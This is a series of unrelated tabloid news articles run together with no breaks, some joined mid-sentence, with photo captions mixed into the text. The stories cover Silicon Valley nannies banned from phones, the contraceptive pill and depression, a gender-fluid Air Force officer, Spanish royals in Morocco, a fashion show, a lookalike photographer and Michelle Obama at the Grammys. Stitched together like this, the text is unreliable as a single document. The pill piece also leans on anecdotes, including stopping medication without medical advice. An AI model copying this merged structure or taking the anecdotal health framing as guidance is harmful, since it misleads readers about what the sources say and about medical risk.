Made for walking: Winnie Harlow put her best foot forward in Louboutin's 'Metrolisse' spring/summer 2019 black and white printed thigh high boot with spike detail, while Maria Borges added inches to her frame in the label's 'Marie Paillette' white stripe PVC sandal with ankle wrap and tassel detail from the spring collectionA group of nannies has gathered in a playground in the gentle Californian sunshine, pushing toddlers on swings, or holding their chubby hands as they wobble on the climbing frame.

If this were Britain, half would be chatting or scrolling on their phones, as they entertained their charges.

But here, in leafy Atherton, the children have their nannies full attention. For in this town nannies are there to look after the children  not check their phones  and this is written into their contracts.

Afterwards, the same  well-paid and highly-educated  nannies will take the children home to enjoy arts and crafts, read books, or play chess and other board games. The youngsters are barred from watching television, or playing video games.

Nannies in Atherton, California, who care for the children of Silicon Valleys most influential figures have been banned from using their phones while working (file image)

Older children are also sheltered from screens. In school, most are taught with blackboards and chalk. The iPads and computers that dominate most modern classrooms are nowhere to be seen.

This is likely to raise alarm bells worldwide over the effect of screens on children  for these are not the offspring of technophobes but of Silicon Valleys most influential figures.

Former Google chairman Eric Schmidt has a house in what is Americas most expensive post code, as does Facebook deputy chief operating officer Sheryl Sandberg. Carol Bartz, former Yahoo! chief, and Oracle boss Mark Hurd are also neighbours.

Facebooks new communications chief Nick Clegg has joined the gang, buying a 7million house with wife Miriam Gonzalez, where they live with their sons, aged 17, 14 and nine.

Many in the Atherton tech-set believe that children should have no screens or very limited access to them and often go to extreme measures to enforce this.

Sarah Steel, British-born co-owner of San Francisco nanny agency Elizabeth Rose, says it is standard for workers sign a contract guaranteeing not to use their cell phones while on duty.

Many clients are technology chiefs at major firms, such as Facebook, Google and Apple.

A number of people who have made their livings out of technology dont have screen access for their children in their homes, she says. The nanny has to understand that screens are not a part of the childrens lives.

What started as a quirk of a few technology chiefs, has spread, adds Lynn Perkins, a mother of three and co-founder of the babysitting and nanny app UrbanSitter. My child would go to somebodys house for a play date and come back and say, So and sos parents wont allow any devices. And I would think, Thats interesting. They both work at tech companies.

Even lax families often hand nannies a timetable, specifying the days on which their offspring can have access to screens.

Menlo-Atherton High School (pictured) bans digital technology in classrooms until pupils are aged 13

In Atherton, some families even spy on their staff, setting up cameras in the home to check on them during the day, and stalk their social media accounts to ensure they have not posted while looking after the children.

Parents even use online noticeboards to report nannies for looking at mobiles in public.

A typical post might read: Was your nanny wearing a red sweater and your son wearing plaid pants? I saw them in the park. Your nanny was on her phone, says Lynne.

Every nanny is carefully scrutinised on social media before gaining a job in an Atherton household.

One applicant was recently turned down because she had a page dedicated to lingerie on Pinterest, the virtual scrapbooking website.

Mrs Steel adds: It is almost taken for granted nowadays that screens are not a big part of a nannys life.

They [the parents] are not hiring somebody to put the child in front of a screen...They are being hired to inspire and educatefeed and love.

Listings for nannies in the town quote annual salaries of up to 73,000  but they are for degree-educated minders who run arts and crafts sessions.

Silicon Valley parents limit their child's screen time to avoid exposure to harmful content and out of concerns for how it may impact their brain (file image)

Like all parents, the tech chiefs of Atherton do not want their children exposed to harmful content, pornography, or to be bullied online.

But many also fear what social media and computer games are doing to childrens brains  and this should haunt every parent.

Numerous pieces of research have established links between the increasing amount of time children spend glued to screens and their diminishing attention spans.

And who better to know how addictive social networks are for youngsters than the very people who designed them?

In 2017, ex-Facebook boss Chamath Palihapitiya broke rank and admitted he bars his children from the social network.

He warned that the short-term dopamine-driven feedback loops Facebook has created are destroying how society works. He cannot undo the damage he did, but he can stop his children from accessing it.

Local school, Menlo-Atherton is acutely aware of the dangers of too much screen time. Last week, it screened documentary Child Disrupted, about the impact of tech on child development.

The 30,700-a-year Waldorf School, meanwhile, bans digital technology in classrooms until pupils are aged 13. Even then, they are only introduced to screens gradually.

Students at Menlo-Atherton are taught to focus on skills such as sewing and to develop grammar by singing (file image)

Students have to master sewing machines  used to teach about the industrial revolution  before operating computers.

Instead, teachers focus on using movement and creativity to help childrens developing brains.

Pupils are also drilled in grammar by singing songs about the rules of punctuation and recite their times tables.

Pierre Laurent, a former manager at Microsoft and Intel who is now president of the schools board, explains: Children learn not just reading things in a textbook. They learn by creating, they learn by making things.

If you take a small child they like to play, they like to danceif you lock them onto a small screen, they are not going to use all their senses.

The Waldorf insists it is not anti-tech, but it argues that allowing young children screens stifles their development.

With classrooms filled with rows of wooden desks and chairs, it feels as like they are trying to rewind the clock to another age.

It is not clear which of the Atherton tech-set send their children to the school, but it is hugely popular with Silicon Valley executives.

Late Apple founder Steve Jobs sent his daughter there. Three-quarters of the students have at least one parent working in technology.

Meanwhile in Britain, pre-school children spend more than four hours a day glued to screens and often have smartphones by age 11 (file image)

These Silicon Valley chiefs may have careers in the tech industry, but most of their jobs didnt even exist when they were at school.

It is true that you do not want a 20-year-old to arrive and be completely computer illiterate. But that doesnt mean we have to push computers in kindergarten, says Pierre.

It is a far cry from Britain, where pre-school children spend more than four hours a day glued to screens, and getting a smartphone age 11 is quite usual.

The double standards of Silicon Valley supremos who make millions from products they do not allow their children to use is hard to ignore.

Completely, says Lynn. There is a hypocrisy there.

It is interesting that when it comes to their own children, these people are very aware of the hazards of screen time.

Additional reporting: Emily Kent Smith in CaliforniaTo the outside world, Triona McBrides life looked perfect. In her early 20s, she was in a stable relationship, with close friends and a job she enjoyed.

And yet, one summer day, while having lunch at a friends house, she found herself sobbing in the bathroom while looking through her hostesss medication, wondering if there was anything strong enough to end her life.

Thankfully, Triona came to her senses and returned to the meal.

That moment had been preceded by three weeks of almost non-stop crying, recalls Triona, now 34. I felt desperate. What stopped me hurting myself was the thought that Id ruin the day for everyone else.

The incident functioned as a wake-up call: she finally realised how serious her sudden, devastating mood swings had become. It prompted me to go to a counsellor for the first time, she says. But although I went on to see several therapists, none of them ever realised the true cause.

It would be a further nine years before Triona discovered that her depression was caused by the contraceptive pill.

Caroline Allen explored how the contraceptive pill can be harmful to women's mental health, Shaveve Sharpe, 31, (pictured) from London experienced depression and anxiety

While many millions of women take the Pill without problems, a significant minority are reporting a devastating impact on their emotional well-being.

Depression is listed as a side-effect in the small print warnings leaflet included in every packet, along with symptoms such as blood clotting, weight gain, pain and decreased libido  although experts say doctors are failing to make women aware of the risks.

Some believe medics are worried about a spike in unwanted pregnancies if womens trust in the Pill is shaken.

Triona first took the Pill aged 15 with her parents consent  because she was experiencing severe period pain, and this can be alleviated by going on the Pill.

Within two months, she says she went from being bubbly and sparkly to feeling she couldnt put one foot in front of the other.

At the time, it was all too easy for her doctors to dismiss this as typical teenage drama. A few years later, when she again sought help, another GP told her it was normal to have dark moods from time to time.

Triona had been put on a medication that seriously disrupted the function of her hormones, which play a vital role in the regulation of emotion. Yet little is known about the impact this can have on a young woman  and startlingly little research has been done on it.

This week, one German study found that hormonal contraception can reduce a womans ability to identify emotions in other people, which researchers believe could lead to misunderstandings and arguments. The studys lead author, Alexander Lischke, said: More than 100 million women use oral contraceptives, but remarkably little is known about their effects on cognition, emotion and behaviour.

For Triona, relief came only when she herself spotted a pattern.

Emmie Harrison, 25, (pictured) from London began taking the contraceptive pill at age 14, she suffered severe mood swings and anxiety

The contraceptive pill contains artificial versions of female hormones that override the monthly reproductive cycle. Traditionally, women have been advised to take it every day for three weeks, followed by a weeks break.

Triona found that she felt normal during that weeks break, but when she started taking the pills again, the darkness would descend.

Without consulting a doctor, she simply stopped taking the Pill and used condoms as contraception instead. Within a couple of weeks her suicidal thoughts had vanished, and she felt happier than she had since she was a young teenager.

No doctor or counsellor ever referred to the Pill causing these horrible feelings, she says. I was so frustrated when I realised it was the Pill making me feel this way.

I just wish I had been told about the link to depression.

Can the contraceptive pill cause death? There was an average of more than ten deaths a year with suspected links to the Pill between 1963 and July 2017, according to the UKs health regulator Advertisement

Psychotherapist Christine Elvin says Trionas story is sadly familiar. Indeed, each time she sees a new female client with anxiety or depression, her first question is: Are you on the Pill?

Christine says: These arent isolated incidents; its happening all the time. Im starting to see doctors taking more notice of the psychological effects of the Pill, but a lot more needs to be done. If Christine suspects a patients depression is linked to the Pill, she recommends they ask their GP if they can switch to a different brand.

Alleviating these womens depression, she says, is often as simple as testing out a few different formulations of the Pill to find one that agrees with them.

The majority of my clients mental states change once theyre prescribed a new Pill, she says.

Although there are dozens of different brands of the Pill, most contain a mix of two synthetic hormones: oestrogen and progestogen. The combined pill gives a dose of both of these; the mini-pill has only progestogen.

Triona McBride, 34, (pictured) contemplated taking her own life due to depression linked to taking the contraceptive pill

A 2016 study at the University of Copenhagen of more than a million women found a clear link between hormonal contraception and subsequent diagnoses of depression. Those using the combined pill were 23 per cent more likely to be diagnosed with depression and those on the mini-pill 34 per cent more likely.

Teenagers had an 80 per cent increased risk of depression on the combined pill, and this risk was even higher with the mini-pill. Other forms of hormonal contraception were even worse.

Incredibly, given how many lives were potentially affected, the statistics seemed to slip under the radar.

Another study by the same researchers in 2018 found that hormonal contraception use tripled the risk of suicide. The study looked at more than 475,000 women with no pre-existing psychiatric problems over eight years. Again, teenagers were particularly affected.

Unfortunately, there seems to be no one-size-fits-all answer to which pills will cause side-effects in which women. Everyones hormonal balance is different, so it often comes down to trial and error.

Thats something I know first-hand. I was on the Microgynon pill when anxiety and low moods took hold. I spent my 19th birthday in tears. I was in my first year of university and having the best time of my life  so why did I feel so low?

I was lucky to have a GP who realised what was going on and switched me to a pill called Yasmin, and later another called Cilest. Theres more oestrogen in Cilest, which had a positive impact on me.

Shaveve Sharpe, 31, (pictured) attributed her mood swings to becoming a new mother, however when she was rushed to hospital for severe breathlessness it was revealed that she had a blood clot in her lung caused by the synthetic oestrogen in her contraceptive pill

Back then, the notion that the Pill could trigger depression or anxiety was largely a hunch based on my own experiences. It wasnt until I started researching the link as a journalist that I realised just how many people suffered similar issues.

Many women who take the Pill are mystified by the conflicting advice, with ardent discussions online about which brands cause what side-effects. Some feel that GPs dont care about finding the best option for each patient, preferring to hand out the most common or affordable forms of contraception.

The news last month that the NHS has changed its longstanding guidance about taking a weeks break from the Pill each month only emphasises the lack of transparency in regard to female contraception.

The Faculty of Sexual and Reproductive Healthcare, which sets NHS standards, said there was no health benefit to the break, which can result in women experiencing cramps, muscle aches and mood swings. (It had apparently been introduced to make the Pill seem more natural  by allowing for monthly bleeding  and to try to convince the Roman Catholic Church that the Pill was acceptable.)

I found it hard to work out what other people were feeling - Shaveve Sharpe

In fact, the bleeding that women experience while taking the Pill isnt a real menstrual period at all, but simply a reaction to the drop in synthetic hormones when they stop taking their daily dose.

NHS guidelines state that most mood swings caused by the Pill will improve over time or stop altogether within months; only then is switching to a new pill recommended. This is also the advice many GPs offer when patients complain about mood swings.

But for Shaveve Sharpe, 31, who works in distribution in London, the ill-effects were long-lasting.

She used the combined pill before having her son, now aged 13, then went back on to it for a further three years after he was born, but quickly began to feel out of sorts.

At first, she attributed her experience to the intense emotions of being a new mother.

Triona McBride, 34, (pictured) attempted to overcome her mood swings with counselling before spotting the link between her depression and taking the pill

She says: I was very short-tempered and I used to get in arguments for no reason. I suffered from bad depression, moodiness and anxiety. I found it hard to work out what other people were feeling. I was just not functioning as usual.

Miserable, she lost interest in sex and felt withdrawn.

Again, Shaveve did not make the link between the Pill and her mental health until unforeseen circumstances intervened.

In 2008, she experienced severe breathlessness and was rushed to hospital, where doctors found a blood clot in her lung. I thought I was going to die. I was terrified, she says. I spent a month in hospital while they did tests. Then I was told the clot was caused by the synthetic oestrogen in my contraceptive pill.

Blood clots are a rare but extremely serious side-effect of the combined pill.

When she had recovered, Shaveve was advised to start taking the mini-pill, which contains no oestrogen.

However, she felt uncomfortable taking any synthetic hormones after her experience, and came off the Pill altogether.

My mood swings were horrific  and I was on my period for a solid three months - Emmie Harrison

Two months later, my depression suddenly lifted, she recalls. I didnt feel low any more. I went out more and had time to look after myself. I enjoyed watching my son growing up. And, suddenly, I was having more fun when it came to my sex life.

Despite a wealth of anecdotal evidence, not all experts agree that there is a causal relationship between hormonal contraception and mental health problems.

Last year, researchers in the U.S. reviewed 26 studies on depression and progestogen-only methods of hormonal contraception, and concluded that there was insufficient evidence to prove a link.

There is, however, ongoing research into alternative methods of contraception. In 2016, an injected male contraceptive was found in tests to be 100 per cent effective. But in a development that may seem ironic in light of recent headlines about women and the Pill, all research was halted after men reported side-effects of depression, muscle pain, acne and increased libido.

Emmie Harrison, 25, (pictured) had worse mood swings after having the implant fitted when she decided to stop taking the Pill

In recent years, the NHS has encouraged the use of long-acting reversible contraceptives  forms that dont require a woman to remember to take a pill every day.

For example, the coil is a device inserted into the womb that comes in two versions  one with progestogen and the other with no hormonal component; the contraceptive implant is a matchstick-sized device placed in the upper arm that works by slowly releasing progestogen; and the contraceptive injection provides three months worth of hormonal contraceptive in one treatment.

According to the NHS, in 2017, 39 per cent of women accessing contraception through its sexual health clinics opted for one of these longer-lasting forms.

But again, finding the right method for you seems to be a case of trial and error.

Emmie Harrison, 25, a writer from East London, started taking the Pill aged 14. After suffering severe mood swings and anxiety, she decided to have the implant fitted aged 19.

Things got even worse after that, she says. My mood swings were horrific  and I was on my period for a solid three months.

Yes, Id been told that I might get fat or spotty from taking the Pill, but never that Id cry in the middle of a lesson - Emmie Harrison

My sex drive was next to non-existent because I felt uncomfortable with my body and unhappy with the person I was becoming.

I stopped caring about other peoples concerns because I was so confused and upset by what was happening to me.

At no contraception appointment I attended was I told of mental health risks by my GP. And what 14-year-old reads the label word for word?

Yes, Id been told that I might get fat or spotty from taking the Pill, but never that Id cry in the middle of a lesson, feel sad for no reason or go through extreme mood swings.

Six years ago, Emmie had the implant removed and instead got the Mirena coil fitted  a brand with low doses of progestogen.

She says: It has been a lifesaver. Ive used it for six years now. I dont get a period, and while I get bad cramps once a month, its much better than anything I tried before.

Since I began writing about the Pill, hundreds of women have contacted me to share their bad experiences.

I hope that by encouraging this conversation, more women will feel better equipped to ask their GP for help finding a solution that works for them.

In the meantime, far more research is needed into the link between hormonal contraception and mental health  not to mention more support.

Expecting women to find a solution by trial and error simply isnt good enough.A married Air Force lieutenant colonel bravely came out as gender fluid via a poignant Facebook post  and now serves as a male, but lives the rest of the time as female.

Born a boy, Bryan Bree Fram, 39, who now goes by the name B and prefers to use the gender-neutral pronoun 'they', spent years on a journey of discovery to find their true self.

Aged eight, B began to dress as a woman in secret, but as gender issues were not spoken about openly at the time, they initially assumed it was just a harmless hobby, rather than a way of expressing their true self.

Coming out: Air Force lieutenant B, who was born as a boy, came out as gender fluid to the world after the ban on transgender people serving in the military was lifted in 2016

Journey: B identifies as both transgender and non-binary, presents themselves as a male at work, but lives the majority of the rest of their life as a female

Then, years after meeting wife Peg Fram, 40, who has been a pillar of support, B came out as transgender  at first just to loved ones, and then, once the ban on transgender people serving in the military was lifted in 2016 by the Obama administration, B came out to the world.

Now, B identifies as both transgender and non-binary  an umbrella term for those who aren't exclusively either male or female - explaining: 'I consider myself gender fluid, although the term bi-gender is fine with me too.

'Working in the military, the gender fluidity isn't there. There's the option to move from box A to box B, but not flit between them.

Transition: B, who joined the Air Force in 2003, was born as a boy, and originally went by the name Bryan. They began dressing as a woman at the age of eight

'So, I still present as a male at work, though my colleagues know I am transgender and I can talk openly about issues. Then, out of work, I can be my authentic self,' they added.

Looking back, B, who lives in New York, recalls experiencing a sense of confusion around gender at as young as four years old.

'I remember turning up to a Halloween party as Wonder Woman,' B said.

And growing up, those feelings never went away but, not fully understanding then what it was to be transgender, they tried to push them aside.

Meanwhile, aged 20, in 2000, B and Peg, now a stay-at-home mum to the couple's daughters Kathryn, 10, and Alivya, six, met for the first time via a personal ad she had posted online as a joke.

Peg recalled: 'At university, I worked security and was bored one day during spring break, when all the students were away.

'My colleague and I were reading a load of personal ads and laughing at them, and decided to post the most honest ones we could.

'I put one out saying I was overweight, finishing college and wasn't sure what I was going to do with myself.'

The next day, Peg had 99 responses  one of which was from B.

With online dating still in its infancy, she wasn't sure whether to message back, but was convinced to by her friend who told her, 'He sounds great - either you write back, or I'm writing back for you.'

After swapping messages, a week later, they met for their first official date at the Minnesota Zoo.

Lovers: B met their partner Peg (pictured right) in 2000, and the pair (pictured on their wedding day) married four years later

Romance: The couple met for the first time via a personal ad Peg had posted online as a joke in 2000, when they were just 20 years old

Beginning: After swapping messages online for one week, the pair (pictured at an LGBT event) met up for their first date at the Minnesota Zoo

Peg recalled: 'I was in a sorority - accommodation for female university students - and I remember watching B walking up the street to the house.

'The first thing I thought is totally superficial, but it was actually how much hair he had on his head, this long bushy floppy hair bouncing around.'

Having not long come out of a two-and-a-half year long relationship, where she ended up engaged, Peg was keen to take things slowly, and wasn't looking for anything especially serious.

Honesty: Three weeks into their new relationship, B told Peg that they were in love with her, and that they sometimes like to dress as a woman

But the connection between the pair was incredibly strong - then three weeks in, while sitting in Peg's room in the sorority house, B decided to talk very honestly to her.

She remembered: 'B said to me, 'I have two things to tell you and I don't think you're doing to like either of them.

'The first thing was, 'I'm in love with you and I see this lasting forever' and the second was, 'I sometimes like to dress up like a woman.'

'I thought, to each his own, but things were very different then. We didn't use the term transgender or realize that's what and who B truly was.'

Remembering the conversation, B added: 'I just knew it was something I needed to tell her about. It wasn't worth keeping any secrets over.

'I've seen many relationships destroyed over the guilt, the shame and the secrecy, especially when somebody comes out far into a relationship.

'I look back and think how lucky I am that I had the courage to tell her, but it was still a very difficult conversation as I didn't know what it would mean for us.'

From there, the relationship progressed as the pair navigated graduating university and joining the working world together.

After looking into different careers, B kept coming back to the idea of the military, and officially joined the Air Force in January 2003.

Having become engaged on New Year's Eve 2003, the couple decided to marry before B was deployed to Iraq, just in case anything happened whilst there.

B explained: 'We had already been planning a big wedding for the following spring, 2005. But, we made the decision to do it then in September 2004, to tie the knot and get married before I left, just in case.

'So, we went to the top of Sandia Peak, a mountain in New Mexico, and got married in a beautiful little ceremony in front of our parents and just a few friends.

'It had been raining all day, but just as we went out to the peak, the sun came out.'

From there, B was so focused on forging a career in the military, and life as a newlywed, that issues around gender were put onto the back burner.

Progression: The pair got engaged in December 2003, and married in September 2004 - before B was deployed to Iraq for their work

Focus: B said that when she left for Iraq she was so focused on having a career in the military and life as a newlywed that the issues that their gender issues were put aside

Then, life got even more hectic in 2008, when they welcomed their first child, Kathryn.

But, shortly after B's 30th birthday in 2009, a turning point came.

'I'd been travelling for work and went to San Francisco, and found a place that did makeovers,' B explained. 'I got one, and looked at myself in the mirror, and thought, 'This could be me, this could be my life.'

Arrival: The pair welcomed their first child Kathryn (right) in 2008

'It was an epiphany that dressing as a woman went beyond just something I liked to do. It was who I was.'

With gender issues not spoken about as openly at the time, it was difficult for B and Peg to work out exactly what was happening.

Speaking candidly, Peg admits that facing an uncertain future was incredibly difficult.

She said: 'We were unsure what this meant for us, for B's career, for our future children, for the rest of our lives.

'B was still trying to figure out what this meant, and it was difficult to see the person who is my rock and my stability confused and unsure.

'It was scary to see the person I fell in love with and married questioning fundamental parts of who they were.'

Starting initially just at home, B began to dress as a woman more and more, eventually going out in public too.

The couple told Kathryn when she was seven, in 2015, that sometimes B enjoyed dressing as a woman.

'She really could not have cared less,' said B. 'It went in one ear and out the other.

'And for Alivya, it was even more simple as she grew up with me dressing as a woman.'

At work though, things were entirely different as, at the time, openly transgender troops were not permitted to serve in the military.

Then, in 2016, the long-standing ban was lifted by the Obama administration  and B knew it was time to come out to the world.

'Up until then, a word in the ear of the wrong person, or a picture of me dressed as a woman seen by the wrong eyes could have cost me my career,' said B.

'I could have lost everything for a reason that was nothing to do with my ability to serve. I had spent years proving my commitment and showing what I could do for my country.

Opening up: The couple told Kathryn when she was seven, in 2015, that sometimes B enjoyed dressing as a woman, and the seven year old 'couldn't have cared less'

Support: B and Peg had a second child together Alivya (left), who grew up seeing B dressed as a woman

'But I had to be quiet and filter my words very carefully. It was painful to hide such a huge part of my life. We use the analogy that if Harry Potter taught us anything, nobody deserves to live in a closet.

'The day the ban was lifted though, I knew it was time to tell everybody who I truly was.'

Both B and Peg were incredibly apprehensive as to what the reaction to B coming out would be.

B had prepped a Facebook post and email to send out as soon as the lifting of the ban was officially announced, nervously retreating to the gym straight after the 'send' button was hit.

'The reaction was amazing. I came back to nothing but love, with many messages from my colleagues to say it was a privilege to serve with me,' B said.

Sadly, Peg faced rather more disdain, with some loved ones even cutting her off, telling her they could not accept who B was.

She said: 'I was happy that things were going well for B, but angry at the backlash I was facing.

'I'm not the one who is transgender. I'm the one who is being supportive and has been trying hard to integrate our lives into this and make everything okay  yet I felt like the one to pay the price.

'Even now, if people have awkward questions or negative opinions, they come to me rather than B.

'My personal opinion is that they think by coming to me, as the person who isn't transgender, means they won't sound transphobic, but it is still very hurtful.'

Currently, the only thing B has done medically is hair removal, and has nothing else in the way of surgery or hormone treatment planned for the immediate future.

Though the military were accepting, B still feels more comfortable continuing to serve as a man, given that they do not identify exclusively as female either.

Reveal: B came out to 'the world' in 2016 after ban on transgender people serving in the military was lifted by the Obama administration

Positive mindset: Now, stronger than ever, B and Peg also hope that by speaking out, they will help other couples navigate the difficult emotions that transitioning can stir up

Speaking as President Trump is seeking to reinforce the ban previously lifted, both B and Peg admit that they feel apprehensive about the 'cloud of uncertainty' hovering over whether or not transgender people will continue to be able to serve.

'Trans people have proved time and time again that they are capable of serving and doing what is asked of them to support missions,' said B, who is on the board of directors for SPART*A - which stands for Service members, Partners and Allies with Respect and Tolerance for All - that provides education and advocacy for transgender troops.

Now stronger than ever, B and Peg also hope that by speaking out, they will help other couples navigate the difficult emotions that transitioning can stir up.

Offering her advice to those out there in a similar position to her, Peg said: 'Be prepared for uncomfortable questions, and to tell people that it is none of their business.

'I firmly believe that we should be out and proud and supportive of our spouses, but that doesn't mean our lives are an open book to everyone.

'The emotions change so quickly that I don't know if I have the words to express them. Sometimes I'm angry, because I don't want to have to change what we have and everything about this involves change.

'Sometimes I want nothing more than for B to be happy. Sometimes I'm sad for what I'm losing, and then I'll flip back to happy again. It's a roller coaster.'

Keen to be as open as possible, they have ensured their daughters are fully aware.

Peg explained: 'We've told them. Kathryn was around before B officially came out, so from four or five years old, she has had an inkling, but to her it was more that Daddy liked to dress up like a princess.

'We explained everything to her around four years ago though, and Alivya too.'

B added: 'With Alivya especially, being younger, it has always been a part of her life to the point where I'd be getting ready, and as a two or three year old, she was giving me fashion tips saying, 'No Daddy, wear that hair.'

'We know we have to be open and honest, or else how can we expect the same back, and have their trust? They have been raised around a lot of LGBT folks though and are doing well.'Queen Letizia and King Felipe VI of Spain have arrived in Morocco for a two day visit to the country.

While most of us would opt for our comfiest tracksuit for a flight Letizia, 46, looked typically glamorous in a dove grey coat dress.

She paired her ensemble with simple accessories including a pair of black stiletto court shoes and a matching clutch bag.

The former journalist added a touch of bling to her outfit in the of a pair of diamante earrings which were perfectly framed by her sleek blow dry.

Queen Letizia and King Felipe VI have arrived in Rabat for a two day state visit to Morocco

The couple 's visit to the country was confirmed just a few days ago, flying out from Madrid this morning

The mother-of-two opted for a slightly heavier makeup look than she normally does, showcasing a dark smoky eye on Wednesday.

King Felipe meanwhile, looked typically dapper in a black pin stripe suit which he paired with a sky blue tie for his arrival in Morocco.

The Spanish couple arrived on Wednesday for their two day visit to the African country which was confirmed just a few days ago.

The couple waved to crowds as they boarded their private flight in Madrid, which takes around two hours

The Spanish royal couple had previously visited the country just once before back in 2014

The couple waved to crowds as they boarded their private flight in Madrid, which takes just under two hours.

The king and queen are expected to join Morocco's own monarch King Mohammed VI for a gala dinner at the royal palace in Rabat.

The couple, who last visited the country in 2014, will also take part in official talks with the country's monarch.

While most of us would opt for our comfiest tracksuit for a flight Letizia looked typically glamorous in a dove grey coat dress

King Felipe was equally dressed up in a two piece suit and tie for their flight today

Speaking in 2018, Felipe said of the two countries' relationship: 'the relations between Morocco and Spain are strategic because we are neighbors who have shared concerns and who face common challenges and threats that we can transform into opportunities for close cooperation together with will and determination.'

Letizia who joined the Spanish Royal family more than ten years ago after marrying King Felipe, 51, is the mother to Princesses Leonor, 13, and Sofia, 11.

The mother-of-two swapped her successful career as a journalist for royal life and now one of her duties includes being a permanent honorary president of the Spanish Association against Cancer and its Scientific Foundation.Cynthia Rowley's eponymous lifestyle brand is built on the philosophy that fashion should be an adventure.

And that's exactly what the American designer delivered for her fall 2019 collection shown during New York Fashion Week.

Unlike last season's catwalk that was set up like a roller skating rink, this season's presentation was a little more traditional held at the London Terrace Towers in Chelsea, but with a twist: a swimming pool!

Have fun: Cynthia Rowley's eponymous lifestyle brand is built on the philosophy that fashion should be an adventure

Traditional: The American designer delivered for her fall 2019 collection shown during New York Fashion Week at the London Terrace Towers

Looking back: For the West Village-based designer's return to the catwalk, her fall/winter collection had a retro vibe

Jump in: Unlike last season's catwalk that was set up like a roller skating rink, this season's presentation was a little more traditional (with the exception of a swimming pool!)

For the West Village-based designer's return to the catwalk, her fall/winter collection was a seasonless mix with a retro vibe.

Rooted in the '70s, we saw beautiful wrap dresses, ombre silk and knit separates, kitschy-yet-chic fruit prints and wide leg pants with sheen.

The brands signature pretty-meets-sporty assortment was present in the form of puffer jackets and jogger-style bottoms. While more formal pieces were accented by feathers and oversize bows.

'The sun is always rising and always setting somewhere in the world so a wetsuit or a light pretty dress makes sense, just throw a fluffy parka over it,' said Cynthia.

'Its a blizzard during NYFW and 100 degrees in Australia. Its time that we start thinking about seasons from a global all-inclusive perspective.

Cynthia debuted her own shoes in the show, including metallic platform ankle straps and heeled sandals with floral printed bows.

Woke up like this: To complete the cool-girl looks, the models' hair was styled in loose beach waves and parted down the middle for that perfect undone done look

To complete the cool-girl looks, the models' hair was styled in loose beach waves and parted down the middle for that perfect undone done look.

Bold metallic eye makeup stood out against a neutral lip and cheek, created by award-winning celebrity make-up artist Marcello Costa with Dose of Colors.

'What I love about Dose of Colors is that the product is super creamy and pigmented so it looks exactly like it does in the bottle on the persons face, so you know exactly what you are buying,' said Marcello.

Marcello and his team of artists used extreme blending techniques with Dose of Colors Eyedeal Duo loose pigment and primer, Block Party single eyeshadows, Eyeliner, and Set The Tone cream matte eyeliner to achieve the dramatic final look.

No model's face was face was au naturale , not even the ones in the pool!

Deemed the pioneer of 'surf-leisure' by Vogue, the collection wouldn't be complete without some swim.

For a fun, final walk, models jumped into the water wearing soft pastel wetsuits.

Night out: More formal pieces were accented by feathers and oversize bows

Retro cool: Rooted in the '70s, we saw beautiful wrap dresses, ombre silk and knit separates, kitschy-yet-chic fruit prints and wide leg pants with sheenBritish spoof artist Alison Jackson has revealed the lengths she'll go to to persuade celebrity lookalikes to take part in her famous photo-shoots.

The British photographer, 58, is known for creating realistic comedy photographs of A-lister doppelgangers in awkward settings - including Kate and William in the bath and even the Queen sitting on the loo.

Appearing on ITV daytime show This Morning, Jackson revealed that she often chases people down the street if they have the celebrity 'look' she wants.

Jackson also shared that she once got a 'Prince Harry' double arrested, after parking a 'van of lookalikes' outside of Prince Charles' house.

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Celebrity spoof artist Alison Jackson told This Morning that she once got a Prince Harry lookalike arrested during a photoshoot at Prince Charles' house

You're nicked! The artist revealed that a young Prince Harry lookalike she used for a shoot outside the Prince of Wales' house found himself in handcuffs (Prince Harry and Pippa Middleton lookalikes from 2011)

Jackson is famous for recreating A-listers - from royals to the US president - in ordinary situations including shopping, taking selfies and even perched on the loo

She told Philip Schofield and Rochelle Humes: 'I parked my lookalike van outside Prince Charles' house, which was not the greatest thing [to do].

'When I came back an hour later - from a photoshoot with a fake Queen outside Buckingham Palace - I found Prince Harry had been out of the van.

'The police came along and were trying to put him in handcuffs. Never saw him again!'

Jackson also left Rochelle looking shocked after a spoof photo of the Queen sitting on the loo flashed up on screen, leaving the pair to joke they'd spend the afternoon with lawyers.

She added: 'I constantly thinking whether I should or shouldn't. I'm quite careful' and also revealed the sentiment behind another controversial photograph, of a Princess Diana lookalike holding her middle finger up to the camera.

The show flashed an image by Jackson on screen, which showed a Queen doppelganger sat on the toilet, something which left the This Morning presenters looking more than a little nervous

'I constantly thinking whether I should or shouldn't. I'm quite careful' Jackson reveals that she often stops her photography from going to close to the bone

Jackson explained: 'She was chased all the time by the press and the public. We had a need to see her more and more and more.

'How did she feel about all of that? The photo shows her [lookalike] with her middle finger up - it was a "that's to you guys for chasing me around"'.

When asked why she thought the work was so popular, Jackson said people want to believe the imagery, saying: 'It doesn't matter if it's fake. I'm almost sort of replacing the real.

In 2016, the star snapper revealed that after auditioning 300 Donald Trump lookalikes she eventually resorted to approaching people in the street - a tactic that didn't go down too well

'We live in this world you can't believe any more. We need to believe. The photography seduces you into thinking it's real.'

After creating a series of images satirising Donald Trump in 2016, Jackson revealed she'd seen 300 lookalikes at audition but none made the cut and she resorted to approaching people in the street.

She said: 'I would run after them and say "hey you look like Donald Trump" and since I mentioned that name they would either run away, put the phone down [or] shout at me.

'Eventually I was told to shove off in no uncertain terms and far less polite than that, so I slightly gave up and everyone kept saying "why aren't you doing something?"

Finally she found a 66-year-old man from Chicago who said he has been told 'for years' that he resembles the businessman.Michelle Obama has revealed her mother's hilariously deadpan response to her surprise Grammys appearance - in which she suggested the former FLOTUS is not a 'real star'.

Obama, 55, delighted the audience on Sunday night when she made a surprise appearance at the ceremony in order to speak about female empowerment, while sharing the stage with the likes of Alicia Keys and Lady Gaga.

But her mother Marian Robinson, 81, seemed less than impressed, texting her to say: 'Did you meet any real stars?'

Sharing the text exchange with her 26.4 million Instagram followers, Michelle wrote: 'When your mom doesn't think you're a "real" celebrity.'

Michelle Obama, pictured on-stage with host Alicia Keys, dazzled the audience in her silver two piece when she made a surprise appearance at the Grammy Awards on Sunday night

81-year-old Marian Robinson (pictured right with Michelle in 2012) hilariously texted her daughter this week asking if she had met 'any real stars' at the Grammy Awards

Obama appeared on stage with Jada Pinkett Smith, Alicia Keys, Lady Gaga and Jennifer Lopez to talk about the impact music had had on her life.

The audience were delighted, and she was praised widely online for her stylish Sachin & Babi sparkly silver two-piece.

But her mother texted her two days later, saying: 'I guess you were a hit at the Grammys'.

